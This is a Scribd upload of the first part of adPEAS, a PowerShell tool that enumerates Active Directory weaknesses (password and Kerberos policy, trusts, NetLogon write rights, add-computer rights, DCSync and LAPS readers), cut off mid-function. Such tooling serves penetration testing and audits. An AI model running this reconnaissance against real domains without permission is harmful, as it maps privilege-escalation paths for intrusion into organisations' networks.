0% found this document useful (0 votes)
26 views

Ad PEAS

Uploaded by

conapoh603
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
26 views

Ad PEAS

Uploaded by

conapoh603
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 389

Function Invoke-adPEAS {

<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
This tool is used to automate Active Directory enumeration. The tool requires a direct domain context, o
Special thanks go to
- Will Schroeder @harmjoy, for his great PowerView
- Charlie Clark @exploitph, for his ongoing work on PowerView
- Christoph Falta @cfalta, for his inspiring work on PoshADCS
- and all the people who inspired me on my journey...
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.PARAMETER Outputfile
If set, output of adPEAS is written to this file with ANSI color code. If you want to have pure ASCII witho
.PARAMETER NoColor
If set together with the Parameter Outputfile, output of adPEAS is written withouth color.
.PARAMETER FORCE
Switch. Forces to run enumeration, even if the domain can not be connected in the very first step.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials for authentication to the targe
.PARAMETER Username
Specifies the username to use for the query.
Should be used with the domain name, e.g 'contoso\johndoe'.
.PARAMETER Password
Specifies the Password in combination with the username to use for the query.
.PARAMETER Module
Specifies the adPEAS enumeration module to use for the query.
If no module is given, the default modules are 'Domain','Rights','GPO','ADCS','Creds','Delegation','Acco
Possible modules are:
- Module Domain: Enumerates some basic AD information, like Domain Controllers, Password Policy, S
- Module Rights: Enumerates some specifig AD rights and permissions, like Trusts, DCSync and adding
- Module GPO: Enumerate some basic GPO related things, like local group membership on domain com
- Module ADCS: Enumerates some basic Enterprise Certificate Authority information, like CA Name, Se
- Module Creds: Enumerates credential exposure issues, like ASREPRoast, Kerberoasting, Linux/Unix
- Module Delegation: Enumerates delegation issues, like 'Unconstrained Delegation', 'Constrained Dele
- Module Accounts: Enumerates users in high privileged groups which are NOT disabled, like Administr
- Module Computer: Enumerates installed Domain Controllers, Certificate Authority, Exchange Server a
- Module Bloodhound: Starts Bloodhound enumeration with the scope DCOnly
.PARAMETER Scope
This parameter works together with the module 'Bloodhound' only.
Changes the scope of Bloodhound enumeration from DCOnly to your choice.
Default is DCOnly.
.EXAMPLE
Invoke-adPEAS
Start adPEAS with all modules and enumerate the domain the logged-on user is connected to.
.EXAMPLE
Invoke-adPEAS -Domain 'contoso.com'
Start adPEAS with all modules and enumerate the domain 'contoso.com'.
.EXAMPLE
Invoke-adPEAS -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start adPEAS with all modules, enumerate the domain 'contoso.com' and use the domain controller 'dc1
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\johndoe', $SecPassword
Invoke-adPEAS -Domain 'contoso.com' -Cred $Cred
Start adPEAS with all modules, enumerate the domain 'contoso.com' and use the passed PSCredential
.EXAMPLE
Invoke-adPEAS -Domain contoso.com -Username 'contoso\johndoe' -Password 'Passw0rd1!'
Start adPEAS with all modules, enumerate the domain 'contoso.com' and use the username 'contoso\jo
.EXAMPLE
Invoke-adPEAS -Domain contoso.com -Module Creds -Outputfile adPEAS_out.txt
Start adPEAS, enumerate the domain 'contoso.com', use module 'Creds' to search for credential leakag
.EXAMPLE
Invoke-adPEAS -Domain contoso.com -Module Bloodhound -Method All
Start adPEAS, enumerate the domain 'contoso.com' and use the module 'Bloodhound' with the scope A
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false,HelpMessage="Enter a Active Directory domain name here, e.g. 'c
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false,HelpMessage="Enter a FQDN or IP address of a domain controlle
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false,HelpMessage="Enter a file name where output should be written to
[ValidateNotNullOrEmpty()]
[String]
$Outputfile,
[Parameter(Mandatory = $false,HelpMessage="Writes the output file without ANSI color codes")]
[Switch]
$NoColor,
[Parameter(Mandatory = $false,HelpMessage="Provide a PSCredential Object for impersonation u
[ValidateNotNullOrEmpty()]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,HelpMessage="Enter the username you want to impersonate, e.g.
[ValidateNotNullOrEmpty()]
[String]
$Username,
[Parameter(Mandatory = $false,HelpMessage="Enter the password of the User you want to impers
[ValidateNotNullOrEmpty()]
[String]
$Password,
[Parameter(Mandatory = $false,HelpMessage="Select the modules you want to run, e.g. Delegatio
[ValidateNotNullOrEmpty()]
[ValidateSet("Domain","Rights","GPO","ADCS","Creds","Delegation","Accounts","Computer","Blood
[String[]]
$Module = "adPEAS",
[Parameter(Mandatory = $false,HelpMessage="Switch SharpHound enumeration mode, e.g. ALL"
[ValidateNotNullOrEmpty()]
[ValidateSet("Default", "All", "DCOnly", "ComputerOnly", "Session", "LoggedOn","Group","ACL","G
[String[]]
$Scope = [string[]] @('DCOnly'),
[Parameter(Mandatory = $false,HelpMessage="Switch to TLS encrypted LDAPS over tcp/636")]
[Switch]
$SSL,
[Parameter(Mandatory = $false,HelpMessage="Force enumeration, even if first domain detection f
[Switch]
$Force
)
<# +++++ Starting adPEAS +++++ #>
$ErrorActionPreference = "Continue"
$adPEASVersion = '0.8.24'
# Check if outputfile is writable and set color
if ($PSBoundParameters['Outputfile']) {
Try {
[io.file]::OpenWrite($Outputfile).close()
$Script:adPEAS_Outputfile = $Outputfile
} Catch {
Write-Warning "[Invoke-adPEAS] Unable to write output of adPEAS to file '$outputfile', please ch
$Script:adPEAS_Outputfile = $false
}
} else {
$Script:adPEAS_Outputfile = $false
}
if ($PSBoundParameters['NoColor']) {
$Script:adPEAS_OutputColor = $false
} else {
$Script:adPEAS_OutputColor = $True
}
# Print the adPEAS logo
Invoke-Logger -Logo -Value $adPEASVersion
# Checking Powershell version
$PSVer = (($PSVersionTable).PSVersion).Major
Write-Verbose "[Invoke-adPEAS] Using Powershell version $PSVer for this run of adPEAS"
# Starting to impersonate with given credentials
if ($PSBoundParameters['Credential']) {
Write-Warning "[Invoke-adPEAS] Using supplied PSCredentials '$($Credential.Username)' for auth
$InvokeadPEAS_LogonToken = Invoke-UserImpersonation -Credential $Credential
}
elseif (-not $PSBoundParameters['Credential'] -and $PSBoundParameters['Username'] -and $PSBou
$adPEAS_SecPassword = ConvertTo-SecureString $Password -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username,$adPEAS_
Write-Warning "[Invoke-adPEAS] Using supplied credentials '$($Credential.Username)' for authen
$InvokeadPEAS_LogonToken = Invoke-UserImpersonation -Credential $Credential
}
# Trying to get target domain name
if ($PSBoundParameters['Domain']) {
Write-Verbose "[Invoke-adPEAS] Using the provided domain name '$Domain' for further enumerat
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Doma
try {
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext).N
}
catch {
Write-Warning "[Invoke-adPEAS] The specified domain '$Domain' does not exist, could not be c
if (-not $PSBoundParameters['Force']) {
throw "[Invoke-adPEAS] Could not connect to domain '$Domain' with the provided data. Pleas
}
}
} else {
if ($PSBoundParameters['Credential'] -or $($PSBoundParameters['Username'] -and $PSBoundPa
# If no domain is supplied, extract the logon domain from the PSCredentials/Credentials passed
Write-Verbose "[Invoke-adPEAS] Using alternative credentials '$($Credential.UserName)' to get
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Invoke-adPEAS] Using domain '$TargetDomain' from provided alternative crede
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Dom
try {
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext
}
catch {
Write-Warning "[Invoke-adPEAS] The specified domain '$TargetDomain' does not exist, could
throw "[Invoke-adPEAS] Could not connect to domain '$TargetDomain' with the provided cred
}
} else {
# If no domain related parameter is supplied, try to get the Active Directory domain the compute
Write-Verbose "[Invoke-adPEAS] Using the current computer configuration to get domain name
try {
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name
}
catch {
Write-Warning "[Invoke-adPEAS] Error retrieving the current domain: $_"
throw "[Invoke-adPEAS] Error retrieving the domain automatically. Please consider to start 'In
}
}
}
# Building searcher arguments for the following PowerView requests
$SearcherArguments = @{}
if ($PSBoundParameters['Domain'] -or $Domain) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Invoke-adPEAS] Using '$Domain' as target Active Directory domain name"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Invoke-adPEAS] Using '$Server' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Invoke-adPEAS] Using LDAPS over port 636"
}

<# +++++ Starting Enumeration +++++ #>


Invoke-Logger -Class Info -Value "Searching for Juicy Active Directory Information"
Write-Verbose "[Invoke-adPEAS] Using Active Directory domain '$Domain' for this run of adPEAS"
switch ($Module) {
"adPEAS" {
Get-adPEASDomain @SearcherArguments
Get-adPEASRights @SearcherArguments
Get-adPEASGPO @SearcherArguments
Get-adPEASADCS @SearcherArguments
Get-adPEASCreds @SearcherArguments
Get-adPEASDelegation @SearcherArguments
Get-adPEASAccounts @SearcherArguments
Get-adPEASComputer @SearcherArguments
Get-adPEASBloodhound @SearcherArguments -Scope $Scope
}
"Domain" {Get-adPEASDomain @SearcherArguments}
"Rights" {Get-adPEASRights @SearcherArguments}
"GPO" {Get-adPEASGPO @SearcherArguments}
"ADCS" {Get-adPEASADCS @SearcherArguments}
"Creds" {Get-adPEASCreds @SearcherArguments}
"Delegation" {Get-adPEASDelegation @SearcherArguments}
"Accounts" {Get-adPEASAccounts @SearcherArguments}
"Computer" {Get-adPEASComputer @SearcherArguments}
"Bloodhound" {Get-adPEASBloodhound @SearcherArguments -Scope $Scope}
}
# Stop to impersonate with given credentials
if ($InvokeadPEAS_LogonToken) { Invoke-RevertToSelf -TokenHandle $InvokeadPEAS_LogonToke
}
Function Get-adPEASDomain {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates some basic Active Directory information, like Domain Controllers, Password Policy, Sites a
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASDomain -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASDomain -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting adPEAS Domain Enumeration +++++ #>
$ErrorActionPreference = "Continue"

# Building searcher arguments for the following requests


$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASDomain] Using '$Domain' as target Active Directory domain name"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASDomain] Using '$Server' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASDomain] Using LDAPS over port 636"
}
# Setup searcher arguments for Root domain
$RootDomSearcherArguments = $SearcherArguments.clone()
$RootDomSearcherArguments['Domain'] = (((get-domain @SearcherArguments).Forest).RootDomai
# Defining Active Directory domain mode levels
$adPEAS_DomainMode = @{
0 = "Windows 2000 native"
1 = "Windows 2003 interim"
2 = "Windows 2003"
3 = "Windows 2008"
4 = "Windows 2008 R2"
5 = "Windows 2012"
6 = "Windows 2012 R2"
7 = "Windows 2016"
8 = "TBD"
}
# Defining when a krbtgt password is an old one, age +5 years
$krbtgtPwdLastSetOld = (Get-Date).AddYears(-5)
# Defining when a krbtgt password is an new one, age -1 year
$krbtgtPwdLastSetNew = (Get-Date).AddYears(-1)
<# +++++ Checking Domain +++++ #>
Invoke-Logger -Class Info -Value "Checking General Domain Information"
try {
$adPEAS_Domain = Get-Domain @SearcherArguments
if ($adPEAS_Domain -and $adPEAS_Domain -ne '') {
Invoke-Logger -Class Hint -Value "Found general Active Directory domain information for domai
Invoke-Logger -Value "Domain Name:`t`t`t`t$($adPEAS_Domain.Name)"
try {
Invoke-Logger -Value "Domain SID:`t`t`t`t$(Get-DomainSID @SearcherArguments)"
} catch {
Write-Verbose "[Get-adPEASDomain] Error retrieving domain SID: $_"
}
if ($([int32]($adPEAS_Domain.DomainModeLevel)) -le 4) {
Invoke-Logger -Class Hint -Value "Domain Functional Level:`t`t$($adPEAS_DomainMode[$ad
} else {
Invoke-Logger -Value "Domain Functional Level:`t`t$($adPEAS_DomainMode[$adPEAS_Dom
}
Invoke-Logger -Value "Forest Name:`t`t`t`t$($adPEAS_Domain.Forest)"
try {
if ($adPEAS_Domain.Name -ne $(((get-domain @SearcherArguments).Forest).RootDomain)
Invoke-Logger -Value "Root Domain Name:`t`t`t$((($adPEAS_Domain.Forest).RootDomain
Invoke-Logger -Value "Root Domain SID:`t`t`t$(Get-DomainSID @RootDomSearcherArgum
}
}
catch {
Write-Verbose "[Get-adPEASDomain] Error retrieving root domain information: $_"
}
if ($adPEAS_Domain.Children -ne '') {
Invoke-Logger -Value "Forest Children:`t`t`t$($adPEAS_Domain.Children)"
} else {
Invoke-Logger -Value "Forest Children:`t`t`tNo Subdomain[s] available"
}
Invoke-Logger -Value "Domain Controller:`t`t`t$(($adPEAS_Domain.DomainControllers) -join "`n
}
} catch {
Write-Warning "[Get-adPEASDomain] Error retrieving general domain information: $_"
}
<# +++++ Checking Policies +++++ #>
Invoke-Logger -Class Info -Value "Checking Domain Policies"
try {
# Getting password and kerberos policy
$adPEAS_DomainPolicy = Get-DomainPolicyData @SearcherArguments -Policy 'Domain'
if ($adPEAS_DomainPolicy -and $($adPEAS_DomainPolicy.SystemAccess) -ne '') {
Invoke-Logger -Class Hint -Value "Found password policy of domain '$($adPEAS_Domain.Nam
if ( -not $(($adPEAS_DomainPolicy.SystemAccess).MinimumPasswordAge) -or $(($adPEAS_D
Invoke-Logger -Value "Minimum Password Age:`t`t`tDisabled"
} else {
Invoke-Logger -Value "Minimum Password Age:`t`t`t$(($adPEAS_DomainPolicy.SystemAcce
}
if ( -not $(($adPEAS_DomainPolicy.SystemAccess).MaximumPasswordAge) -or $(($adPEAS_D
Invoke-Logger -Class Finding -Value "Maximum Password Age:`t`tDisabled"
} else {
Invoke-Logger -Value "Maximum Password Age:`t`t`t$(($adPEAS_DomainPolicy.SystemAcce
}
if ( -not $(($adPEAS_DomainPolicy.SystemAccess).MinimumPasswordLength) -or $(($adPEAS
Invoke-Logger -Class Finding -Value "Minimum Password Length:`t`tDisabled"
} elseif ($([int32](($adPEAS_DomainPolicy.SystemAccess).MinimumPasswordLength)) -le 7) {
Invoke-Logger -Class Hint -Value "Minimum Password Length:`t`t$(($adPEAS_DomainPolicy
} elseif ($([int32](($adPEAS_DomainPolicy.SystemAccess).MinimumPasswordLength)) -ge 12)
Invoke-Logger -Class Secure -Value "Minimum Password Length:`t`t$(($adPEAS_DomainPo
}else {
Invoke-Logger -Value "Minimum Password Length:`t`t$(($adPEAS_DomainPolicy.SystemAcc
}
if ( -not $(($adPEAS_DomainPolicy.SystemAccess).PasswordComplexity) -or $(($adPEAS_Dom
Invoke-Logger -Class Finding -Value "Password Complexity:`t`tDisabled"
} else {
Invoke-Logger -Value "Password Complexity:`t`t`tEnabled"
}
if ( -not $(($adPEAS_DomainPolicy.SystemAccess).LockoutBadCount) -or $(($adPEAS_Domai
Invoke-Logger -Class Finding -Value "Lockout Account:`t`t`tDisabled"
} else {
if ($([int32](($adPEAS_DomainPolicy.SystemAccess).LockoutBadCount)) -le 3) {
Invoke-Logger -Class Secure -Value "Lockout Account:`t`t`tAfter $(($adPEAS_DomainPolic
} else {
Invoke-Logger -Value "Lockout Account:`t`t`tAfter $(($adPEAS_DomainPolicy.SystemAcce
}
if ($(($adPEAS_DomainPolicy.SystemAccess).LockoutDuration) -and $(($adPEAS_DomainP
Invoke-Logger -Class Secure -Value "Lockout Duration:`t`t`tForever"
} elseif ($(($adPEAS_DomainPolicy.SystemAccess).LockoutDuration) -and $(($adPEAS_Dom
Invoke-Logger -Value "Lockout Duration:`t`t`tLockout for $(($adPEAS_DomainPolicy.Syste
} else {
Invoke-Logger -Class Finding -Value "Lockout Duration:`t`t`tDisabled"
}
if ($(($adPEAS_DomainPolicy.SystemAccess).ResetLockoutCount) -and $(($adPEAS_Doma
Invoke-Logger -Class Hint -Value "Lockout Counter Reset:`t`tAccount lockout counter rese
} else {
Invoke-Logger -Value "Lockout Counter Reset:`t`t`tDisabled"
}
}
if ( $(($adPEAS_DomainPolicy.SystemAccess).ClearTextPassword) -eq '1') {
Invoke-Logger -Class Finding -Value "Reversible Encryption:`t`tEnabled"
} else {
Invoke-Logger -Value "Reversible Encryption:`t`t`tDisabled"
}
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving password policy information: $_"
}

try {
if ($adPEAS_DomainPolicy -and $($adPEAS_DomainPolicy.KerberosPolicy) -ne '') {
Invoke-Logger -Class Hint -Value "Found Kerberos policy of domain '$($adPEAS_Domain.Nam
if ($(($adPEAS_DomainPolicy.KerberosPolicy).MaxTicketAge) -and $(($adPEAS_DomainPolicy
if ($(($adPEAS_DomainPolicy.KerberosPolicy).MaxTicketAge) -gt 10) {
Invoke-Logger -Class Hint -Value "Maximum Age of TGT:`t`t`t$(($adPEAS_DomainPolicy.K
} else {
Invoke-Logger -Value "Maximum Age of TGT:`t`t`t$(($adPEAS_DomainPolicy.KerberosPol
}
}
if ($(($adPEAS_DomainPolicy.KerberosPolicy).MaxServiceAge) -and $(($adPEAS_DomainPolic
if ($(($adPEAS_DomainPolicy.KerberosPolicy).MaxServiceAge) -gt 600) {
Invoke-Logger -Class Hint -Value "Maximum Age of TGS:`t`t`t$(($adPEAS_DomainPolicy.K
} else {
Invoke-Logger -Value "Maximum Age of TGS:`t`t`t$(($adPEAS_DomainPolicy.KerberosPo
}
}
if ($(($adPEAS_DomainPolicy.KerberosPolicy).MaxClockSkew) -and $(($adPEAS_DomainPolic
Invoke-Logger -Value "Maximum Clock Time Difference:`t`t$(($adPEAS_DomainPolicy.Kerbe
}
try {
$adPEAS_krbtgt = Get-DomainUser @SearcherArguments -Identity krbtgt
if ($adPEAS_krbtgt -and $($adPEAS_krbtgt.pwdlastset) -ge $krbtgtPwdLastSetNew) {
Invoke-Logger -Class Secure -Value "Krbtgt Password Last Set:`t`t$($adPEAS_krbtgt.pwd
} elseif ($adPEAS_krbtgt -and $($adPEAS_krbtgt.pwdlastset) -le $krbtgtPwdLastSetOld) {
Invoke-Logger -Class Hint -Value "Krbtgt Password Last Set:`t`t$($adPEAS_krbtgt.pwdlast
} else {
Invoke-Logger -Value "Krbtgt Password Last Set:`t`t$($adPEAS_krbtgt.pwdlastset)"
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving Kerberos policy information: $_"
}
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving Kerberos policy information: $_"
}
<# +++++ Checking Domain Controller, Sites and Subnets +++++ #>
Invoke-Logger -Class Info -Value "Checking Domain Controller, Sites and Subnets"
try {
$adPEAS_DomainController = Get-DomainController @SearcherArguments
if ($adPEAS_DomainController -and $adPEAS_DomainController -ne '') {
Invoke-Logger -Class Hint -Value "Found domain controller of domain '$($adPEAS_Domain.Nam
foreach ($Object_Var in $adPEAS_DomainController) {
Invoke-Logger -Value "DC Host Name:`t`t`t`t$($Object_Var.Name)"
if ($($Object_Var.Roles) -and $($Object_Var.Roles) -ne '') {
Invoke-Logger -Value "DC Roles:`t`t`t`t$(($Object_Var.Roles) -join ",")"
}
Invoke-Logger -Value "DC IP Address:`t`t`t`t$($Object_Var.IPAddress)"
Invoke-Logger -Value "Site Name:`t`t`t`t$($Object_Var.SiteName)`n"
}
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving domain controller information: $_"
}
# Getting sites and IP subnets
try {
$SitesSearcherArguments = $SearcherArguments.Clone()
$SitesSearcherArguments['Domain'] = $((get-domain @SearcherArguments).forest)
$adPEAS_DomainSubnets = Get-DomainSubnet @SitesSearcherArguments
if ($adPEAS_DomainSubnets -and $adPEAS_DomainSubnets -ne '') {
Invoke-Logger -Class Hint -Value "Found configured sites and IP subnets of domain '$($adPEA
foreach ($Object_Var in $adPEAS_DomainSubnets) {
Invoke-Logger -Value "Site IP Subnet:`t`t`t`t$($Object_Var.name)`t(Site: $((($Object_Var.site
}
} else {
Write-Verbose "[Get-adPEASDomain] No domain sites and IP subnets could be gathered"
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving sites and IP subnets information: $_"
}
<# +++++ Checking Forest and Domain Trusts +++++ #>
Invoke-Logger -Class Info -Value "Checking Forest and Domain Trusts"
# Get forest trusts
try {
Write-Verbose "[Get-adPEASDomain] Using '$((($adPEAS_Domain.Forest).RootDomain).Name)'
$adPEAS_ForestTrust = Get-ForestTrust -Forest (($adPEAS_Domain.Forest).RootDomain).Name
if ($adPEAS_ForestTrust -and $adPEAS_ForestTrust -ne '') {
Invoke-Logger -Class Hint -Value "Found configured forest trusts of '$((($adPEAS_Domain.Fore
foreach ($Object_Var in $adPEAS_ForestTrust) {
if ($($Object_Var.SourceName) -ne $($Object_Var.TargetName)) {
Invoke-Logger -Value "Target Forest Name:`t`t`t$($Object_Var.TargetName)"
Invoke-Logger -Value "TrustDirection:`t`t`t`t$($Object_Var.TrustDirection)"
Invoke-Logger -Value "TopLevelNames:`t`t`t`t$($Object_Var.TopLevelNames)"
Invoke-Logger -Value "TrustedDomainInformation:`t`t`t$($Object_Var.TrustedDomainInform
}
}
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving forest trust information: $_"
}
# Get domain trusts
try {
Write-Verbose "[Get-adPEASDomain] Using '$($adPEAS_Domain.Name)' as domain name"
$adPEAS_DomainTrust = Get-DomainTrust @SearcherArguments -API
if ($adPEAS_DomainTrust -and $adPEAS_DomainTrust -ne '') {
foreach ($Object_Var in $adPEAS_DomainTrust) {
if ($($Object_Var.SourceName) -ne $($Object_Var.TargetName)) {
Invoke-Logger -Class Hint -Value "Found configured domain trusts of '$($adPEAS_Domain
Invoke-Logger -Value "Target Domain Name:`t`t`t$($Object_Var.TargetName)"
Invoke-Logger -Value "Target Domain SID:`t`t`t$($Object_Var.TargetSid)"
Invoke-Logger -Value "Flags:`t`t`t`t`t$($Object_Var.Flags)"
if ($Object_Var.TrustAttributes -ne 0) {
Invoke-Logger -Value "TrustAttributes:`t`t`t$($Object_Var.TrustAttributes)"
}
}
}
}
}
catch {
Write-Warning "[Get-adPEASDomain] Error retrieving domain trust information: $_"
}
}
Function Get-adPEASRights {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates some specific Active Directory rights and permissions, like LAPS, DCSync and adding com
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASRights -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASRights -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting adPEAS Rights & Permission Enumeration +++++ #>
$ErrorActionPreference = "Continue"

# Building searcher arguments for the following requests


$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASRights] Using '$Domain' as target Active Directory domain name"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASRights] Using '$Server' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASRights] Using LDAPS over port 636"
}
<# +++++ Checking Permissions +++++ #>
Invoke-Logger -Class Info -Value "Checking Juicy Permissions"
try {
$adPEAS_Domain = Get-Domain @SearcherArguments
} catch {
Write-Warning "[Get-adPEASRights] Error retrieving general domain information: $_"
}
Invoke-Logger -Class Info -Value "Checking NetLogon Access Rights"
try {
if ($PSBoundParameters['Server']) { $adPEAS_NetLogonTarget = $Server } else { $adPEAS_NetL
$adPEAS_NetLogonRights = Get-PathAcl -Path "\\$adPEAS_NetLogonTarget\NetLogon\" -Recurs
if ($adPEAS_NetLogonRights -and $adPEAS_NetLogonRights -ne '') {
foreach ($object_NetLogonRights in $adPEAS_NetLogonRights){
# filter out some default identities with write rights like
# '^S-1-3-0' # Creater/Owner '^S-1-5-18' # System, '^S-1-5-21-\d+-\d+\-\d+\-512' # DOMAIN_A
if ($object_NetLogonRights.FileSystemRights -like '*Write*'-and $object_NetLogonRights.Iden
$object_NetLogonRights | Add-Member NoteProperty 'sAMAccountName' $($object_NetLo
Invoke-Logger -Class Hint -Value "Identity $($object_NetLogonRights.sAMAccountName) h
}
}
}
}
catch {
Write-Warning "[Get-adPEASRights] Error retrieving NetLogon access rights information: $_"
}
Invoke-Logger -Class Info -Value "Checking Add-Computer Permissions"
try {
# Getting machine account quota
$adPEAS_RootDomainObject = Get-DomainObject @SearcherArguments -Identity (Get-DomainD
# Getting 'add computer to domain' permissions
$adPEAS_DomainRights = Get-DomainPolicyData @SearcherArguments -Policy 'DomainControll
if ($adPEAS_DomainRights -and $(($adPEAS_DomainRights.PrivilegeRights).SeMachineAccount
Invoke-Logger -Class Hint -Value "Filtering found identities that can add a computer object to do
if ($(($adPEAS_DomainRights.PrivilegeRights).SeMachineAccountPrivilege) -and $(($adPEAS_
foreach ($object_rights in $(($adPEAS_DomainRights.PrivilegeRights).SeMachineAccountPr
if ($($object_rights.substring(1)) -eq "S-1-5-11") {
if ($adPEAS_RootDomainObject -and $($adPEAS_RootDomainObject."ms-ds-machinea
Invoke-Logger -Class Finding -Value "The Machine Account Quota is currently set to $
}
Invoke-Logger -Class Finding -Value "Every member of group '$($object_rights.substring
}
$user_object = $object_rights.substring(1) | Get-DomainObject @SearcherArguments #-Se
# Search for non-default AD accounts with SID greater -1000
if ([int32]$($user_object.objectSid).split("-")[-1] -ge 1000) {
#$object_rights_identity = $($user_object.objectSid) | Get-DomainObject @SearcherArg
if ($($user_object.sAMAccountName) -and $($user_object.useraccountcontrol) -like '*AC
Write-Verbose "[Get-adPEASRights] Identity '$($user_object.distinguishedName)' can
} else {
Invoke-Logger -Class Hint -Value "The identity '$($user_object.sAMAccountName)' is
$user_object | Invoke-Logger
}
} else {
$user_object | Invoke-Logger
}
}
}
}
}
catch {
Write-Warning "[Get-adPEASRights] Error retrieving 'SeMachineAccountPrivilege' information: $_"
}
Invoke-Logger -Class Info -Value "Checking DCSync Permissions"
try {
# Getting DCSync permissions
$adPEAS_DCSyncRights = Get-DomainDCSync @SearcherArguments

if ($adPEAS_DCSyncRights -and $adPEAS_DCSyncRights -ne '') {


Invoke-Logger -Class Hint -Value "Filtering found identities that can perform DCSync in domain
foreach ($object_dcsync in $adPEAS_DCSyncRights) {
# Search for non-default AD accounts with SID greater -1000
if ([int32]$($object_dcsync.objectSid).split("-")[-1] -ge 1000) {
$object_dcsync_identity = $($object_dcsync.objectSid) | Get-DomainObject @SearcherArg
if ($($object_dcsync_identity.sAMAccountName) -and $($object_dcsync_identity.useracco
Write-Verbose "[Get-adPEASRights] Identity '$($object_dcsync_identity.distinguishedNa
} else {
Invoke-Logger -Class Hint -Value "The identity '$($object_dcsync_identity.sAMAccountN
$object_dcsync_identity | Invoke-Logger
}
}
}
}
}
catch {
Write-Warning "[Get-adPEASRights] Error retrieving DCSync permissions: $_"
}
Invoke-Logger -Class Info -Value "Checking LAPS Permissions"
try {
# Getting LAPS permissions
$adPEAS_LAPSRights = Get-DomainLAPSReaders @SearcherArguments | Select-Object Princip

if ($adPEAS_LAPSRights -and $adPEAS_LAPSRights -ne '') {


Invoke-Logger -Class Hint -Value "Filtering found identities that can read LAPS attribute in doma
foreach ($object_laps in $($adPEAS_LAPSRights.PrincipalSID.Value)) {
if ($object_laps -ne 'S-1-5-18') {
# Search for non-default AD accounts with SID greater -1000
if ([int32]$object_laps.split("-")[-1] -ge 1000) {
Write-Verbose "[Get-adPEASRights] Found LAPS permission for identity $object_laps"
$object_laps_identity = Get-DomainObject @SearcherArguments -Identity $object_laps
if ($($object_laps_identity.sAMAccountName) -and $($object_laps_identity.useraccountc
Write-Verbose "[Get-adPEASRights] Identity '$($object_laps_identity.distinguishedNa
} else {
